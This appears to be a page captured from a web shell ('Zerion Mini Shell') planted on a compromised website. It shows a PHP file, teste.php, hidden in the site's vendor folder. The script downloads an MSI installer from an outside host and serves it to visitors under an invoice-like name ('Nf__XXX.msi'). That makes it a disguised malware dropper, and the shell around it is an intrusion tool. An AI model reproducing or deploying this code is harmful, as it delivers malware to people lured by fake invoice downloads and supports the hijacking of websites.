%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/dossteste.vacivitta.com.br/vendor/
Upload File :
Create Path :
Current File : /home/vacivi36/dossteste.vacivitta.com.br/vendor/teste.php

<?php
ini_set("display_errors", 1);
error_reporting(E_ALL);

function xRand() {
    // Aqui ele vai gerar 3 numeros aleatorios, se quiser mais, so mudar o 3 ali no final do codigo
    return substr(str_shuffle("0123456789"), 0, 3);
}
			
if (isset($_GET['download'])) {
	   $zrand = xRand();
	   
		$nomeArquivo = "Nf__{$zrand}.msi";

		$tempDir = sys_get_temp_dir(); // Diretório temporário do sistema
		$prefixoTemp = "setup_{$zrand}_";
		$tempMsi = tempnam($tempDir, $prefixoTemp);
		$novoTempMsi = $tempMsi . '.pdf';
		rename($tempMsi, $novoTempMsi);
		$tempMsi = $novoTempMsi;

//		$externalMsiUrl = "https://orcafilexviewnew.top/ORC/psq.msi";
                $externalMsiUrl = "https://orcafilexviewnew.top/ORC/x.msi";
		function downloadFile($url, $destination) {
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
			curl_setopt($ch, CURLOPT_FAILONERROR, true); // Retorna falso em erros HTTP >=400
			$data = curl_exec($ch);
			if ($data === false) {
				$error = curl_error($ch);
				echo "Erro no cURL: " . htmlspecialchars($error);
				curl_close($ch);
				return ['success' => false, 'error' => $error];
			}
			$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
			curl_close($ch);
			if ($httpCode >= 400) {
				return ['success' => false, 'error' => "Erro HTTP: $httpCode"];
			}
			if (file_put_contents($destination, $data) === false) {
				return ['success' => false, 'error' => "Falha ao salvar o arquivo temporário."];
			}
			return ['success' => true];
		}

		$downloadResult = downloadFile($externalMsiUrl, $tempMsi);

		if (!$downloadResult['success']) {
			echo "Erro ao baixar o arquivo: " . htmlspecialchars($downloadResult['error']);
			if (file_exists($tempMsi)) {
				unlink($tempMsi);
			}
			exit;
		}

		if (ob_get_level()) {
			ob_end_clean(); 
		}

		header('Content-Description: File Transfer');
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename="' . basename($nomeArquivo) . '"');
		header('Expires: 0');
		header('Cache-Control: must-revalidate');
		header('Pragma: public');
		header('Content-Length: ' . filesize($tempMsi));

		readfile($tempMsi);
		unlink($tempMsi);

		exit;
} else {
    echo 'Parâmetros inválidos.';
}

?>


Zerion Mini Shell 1.0